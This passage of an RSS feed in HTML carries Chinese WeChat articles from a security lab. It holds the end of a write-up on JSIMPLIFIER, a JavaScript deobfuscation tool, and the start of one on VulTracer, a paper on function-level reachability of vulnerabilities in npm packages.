block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005341" src="https://wechat2rss.xlab.app/img-proxy/?k=fa023184&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tu2EU1ZfJEIyuX8MUZptNu4agXy64JcZeOhAoSz0TpjJJtQNRUIENKaA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">JSIMPLIFIER反混淆结果：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2722222222222222" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005340" src="https://wechat2rss.xlab.app/img-proxy/?k=c29ad619&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lwicEE0wOfBiaTrzryOH47tuUCWvlicaXEVfpB9PKVzDudwud9DpeY4e9OvBm5qt8ibpcyUb84LzKvHQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过JSIMPLIFIER，安全分析师可以清晰地看到攻击逻辑：检测搜索引擎来源、注入恶意iframe、重定向到攻击域名。这种从”天书”到”明文”的转换，极大提升了威胁分析和响应的效率，展现了工具在真实安全分析场景中的实用价值。</span></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">五、结论：从”混乱”到”清晰”的技术突破</span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">JSIMPLIFIER的成功体现了针对JavaScript混淆这一具体安全问题的有效解决方案。通过将静态分析、动态执行和LLM技术相结合，该工具在处理复杂混淆代码方面取得了显著进展。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">技术贡献的实际价值主要体现在三个方面：三阶段流水线架构有效解决了输入多样性、分析复杂性和输出可读性的问题；静态与动态分析的协调机制克服了单一方法的局限性；LLM技术的合理应用显著改善了代码的人机交互体验。这些技术改进为反混淆工具的发展提供了新的参考方向。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">实验验证的充分性通过大规模真实数据集得到了有力支撑。在44,421个样本上的测试结果——100%的技术覆盖率、88.2%的复杂度降低、466.94%的可读性提升——证明了该方法的有效性。JSFireTruck等真实案例的成功处理进一步验证了工具在实际安全分析场景中的实用价值。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当然，JavaScript混淆技术仍在不断发展，新的挑战也会持续出现。JSIMPLIFIER的模块化设计为应对这些变化提供了一定的灵活性。我们期待通过持续的技术改进和社区合作，进一步提升JavaScript安全分析的效率和准确性。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">目前，JSimplifier及对应数据集已开源发布，面向安全研究和防护社区共享。未来工作将继续优化工具性能，扩展对更多混淆技术的支持，为脚本安全分析提供更好的技术工具。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">项目开源地址：<a href="https://github.com/XingTuLab/JSIMPLIFIER" target="_blank">https://github.com/XingTuLab/JSIMPLIFIER</a></span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">论文链接：<a href="https://arxiv.org/abs/2512.14070" target="_blank">https://arxiv.org/abs/2512.14070</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0fe5a148&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4OTU4MjQ4Mg%3D%3D%26mid%3D2247488994%26idx%3D1%26sn%3Ddfa76d25c322e4446ca422f32f18cb10">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 13 Jan 2026 14:55:00 +0800</pubDate>
    </item>
    <item>
      <title>【论文分享】从噪声到信号：如何在千万级软件包中精准定位漏洞影响?</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&amp;mid=2247488981&amp;idx=1&amp;sn=319fdc91a351ed80fdf470e1a4c16d41</link>
      <description>论文分析结果指明传统工具所产生的漏洞警告中，高达 68.28% 都是“噪声”，即漏洞代码实际上根本无法被触达。</description>
      <content:encoded><![CDATA[<p><span>星图实验室</span> <span>2026-01-06 15:48</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2c9f8469&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhXpyt4ZWezEXZ67JicHFh3oylmqY1yHZX6ich5UibpNvfzTT8GYicfz09EQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>论文分析结果指明传统工具所产生的漏洞警告中，高达 68.28% 都是“噪声”，即漏洞代码实际上根本无法被触达。</p>
  <h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 128, 255);">一、引言：软件供应链安全的“狼来了”困境</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">想象这样一个场景：你是一名开发者，每天打开 CI/CD 系统，迎接你的是数百条安全警报——“检测到依赖包存在高危漏洞，请立即修复！” 但当你花费大量时间逐一排查后却发现，绝大多数警报都是虚惊一场：那些所谓的“漏洞代码” 根本就没有被你的应用调用。这种“警报疲劳”已成为软件供应链安全领域的痛点，也是众多安全检测工具难以实际落地应用的重要原因。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.37681159420289856" data-type="jpeg" data-w="828" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005313" src="https://wechat2rss.xlab.app/img-proxy/?k=574c3995&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhm5xYXiaZiaibyMKhNOVKRPRiaAzHdicQKUdP9lZLCGbTlWVrVdAVic5hwlOQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这正是奇安信技术研究院和清华大学研究团队在 NDSS 2026 会议上发表的论文所要解决的核心问题。论文题目为 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">《From Noise to Signal: Precisely Identify Affected Packages of Known Vulnerabilities in npm Ecosystem》</span></strong><span leaf="">，作者为蒲应元（奇安信星图实验室），应凌云博士（奇安信星图实验室）和谷雅聪博士（清华大学）。这项研究针对全球最大的开源软件生态系统——npm（拥有超过 300 万个包，2024 年处理了约 4.5 万亿次请求），提出了一套基于函数调用关系的细粒度漏洞传播关系识别方法和分析框架。论文分析结果表明，</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">传统工具所产生的漏洞警告中，高达 68.28% 都是“噪声”，即漏洞代码实际上根本无法被触达。</span></strong></p><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 128, 255);">二、问题的本质：为什么传统方法会产生如此高的误报</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">npm生态系统的复杂性源于其极度碎片化的包依赖结构。已有研究显示，约四分之一的npm包版本依赖于存在已知漏洞的包。以 pac-resolver为例，这个每周下载量达 300 万次的 npm 包曾曝出高危远程代码执行漏洞，导致 GitHub 上超过 28.5 万个公共仓库可能面临风险。但问题的关键在于：</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">依赖存在漏洞的包，不等于你的应用真的受到影响。</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当前主流的软件成分分析（SCA）工具，如npm audit、GitHub Dependabot等，都采用</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">包级别</span></strong><span leaf="">的分析方法。它们的逻辑很简单：如果你的依赖树中存在包A的v1.0版本，并且包A的v1.0版本存在漏洞，则发出警报提醒你的应用受到影响。但这种粗粒度分析忽略了三个关键问题：</span></p><ol style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">未使用的依赖：<span textstyle="" style="font-weight: normal;">你的 package.json 声明了依赖，但代码中从未引入（require/import）该包的任何模块。</span></span></strong></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">浅层的 API 使用：<span textstyle="" style="font-weight: normal;">即使引入了包，可能只使用了其中若干个函数，而漏洞函数根本未被调用。</span></span></strong></li><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">传递性衰减：<span textstyle="" style="font-weight: normal;">通过多层依赖传递时，每一跳的使用范围都在缩小。</span></span></strong></li></ol><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">理论上，</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">函数级可达性分析</span></strong><span leaf="">是最佳解决方案——只有当存在从应用入口到漏洞函数的调用路径时，才认为应用真正可能受到影响。但在 npm 生态实施函数级分析面临三大技术挑战：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">首先是可扩展性挑战：传统方法需要为每个项目构建完整的调用图（Call Graph），也包含其所有依赖，对于复杂项目，依赖数量可达数百甚至上千个包。每次分析都要从头开始，计算成本呈指数级增长。</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">其次是 JavaScript 的动态特性带来的程序分析挑战。极其灵活的语法特性为静态分析制造了诸多盲区：代码中广泛存在的动态属性访问（利用变量而非字面量调用函数）、将函数作为参数传递的高阶函数机制（回调），以及允许在运行时动态修改对象原型链的特性，都让静态分析器难以在运行前确定具体的调用目标和完整的控制流，从而极易导致依赖分析链路的断裂或缺失。具体代码示例如下：</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.514626218851571" data-s="300,640" data-type="png" data-w="923" style="width:466px;height:240px;" type="block" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/lG0evzxL96m03XiaMlRt5AmqZjsOiceBibhRt7ict7H4VUjIZLh9Xa0DgqXoePiaIicTckzLJrb3MpVQcGyW0iacTRNbQ/640?wx_fmt=png&amp;from=appmsg" data-cropx1="79.26605504587157" data-cropx2="1002.7155963302753" data-cropy1="69.35779816513762" data-cropy2="544.954128440367" data-imgfileid="100005331" src="https://wechat2rss.xlab.app/img-proxy/?k=dd435037&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhLz2ibVfeQSFiciaoeLf0u5sw38c4II1fOaarsc5MUr968Dzb5IjekoUTg%2F640%3Fwx_fmt%3Djpeg"/></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;margin: 0.75rem 0px;"><span leaf="">最后，JavaScript 语言模块系统的复杂性进一步加剧了分析难度：CommonJS (require)和 ESM (import/export) 不同的模块机制、module.exports对象可在运行时修改，以及require()的参数可以是动态表达式，这些都进一步加剧了分析难度。</span></p></li></ul><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;color: rgb(0, 128, 255);">三、VulTracer的核心设计和解决方案</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">面对这些挑战，我们设计并实现了 VulTracer 这个分析框架。它的核心洞察在于：</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">npm包一旦发布就不可变，因此可以为每个包预计算可复用的分析结果</span></strong><span leaf="">。这开启了“分析一次，复用多次”的新范式。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2611111111111111" data-type="jpeg" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005316" src="https://wechat2rss.xlab.app/img-proxy/?k=a0d3b3aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhuBzcCDtW1oPmh63jCAib2ibN5m1diaA1pr18iaLr8LQ4FMia4xGhk6sds8Q%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">VulTracer 将传统的整体式分析分解为三个独立阶段，核心设计和架构如上图所示。以下将详细介绍每一个部分的设计逻辑和细节。</span></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">3.1 富语义图生成 (RSG Generation)</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">首先，VulTracer 利用程序静态分析技术，为每一个包构建了一个 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">富语义图（Rich Semantic Graph, RSG）</span></strong><span leaf="">。这张图不仅看清了包内部的函数调用脉络，更关键的是，它显式地刻画了包的“边界”——哪些函数被暴露给了外部，又有哪些地方调用了外部依赖。传统的调用图（Call Graph）只记录“谁调用了谁”，而RSG设计了一个多层次的图结构，完整保留包的边界信息，图中的实体结构和详细定义如下图 DEF1 所示，包含了三类不同的顶点集合和边集合。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.2788844621513944" data-type="jpeg" data-w="1004" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005319" src="https://wechat2rss.xlab.app/img-proxy/?k=75937aa2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhs3P90N8IY8m1pJyibwJbJSt1qwyUTcSP6AyReiaNF5nssZTaUVqhsH4g%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">3.2 接口契约提取 (Interface Contract Extraction)</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">虽然 RSG 保留了包的全部内部细节，但如何让独立分析的包能够正确“对接”？这就涉及到了提取形式化的接口契约。VulTracer 从这张复杂的图中提取出了一份简洁的</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">形式化接口契约（Interface Contract）</span></strong><span leaf="">。这就像是给每个软件模块定义了标准的“插头”和“插座”，契约中清晰地记录了 API 的导出方式（Export Manifold）和导入方式（Import Manifest）。这一步至关重要，它充当了一道“语义防火墙”，屏蔽了复杂的内部实现细节，只保留了交互所需的关键信息。具体的定义如下图 DEF2 所示。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.587037037037037" data-type="jpeg" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-imgfileid="100005317" src="https://wechat2rss.xlab.app/img-proxy/?k=4512abe3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FlG0evzxL96m03XiaMlRt5AmqZjsOiceBibhvMFZEftwnVtN894jaM5KVHibaJvNyLdGiaCBmXR6iaUmsyaN0uicty9grg%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><h3 style="box-sizing: border-box;font-size: 1.25rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">3.3 拓扑排序驱动的按需组合式合成 (Compositional Synthesis)</span></span></h3><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: 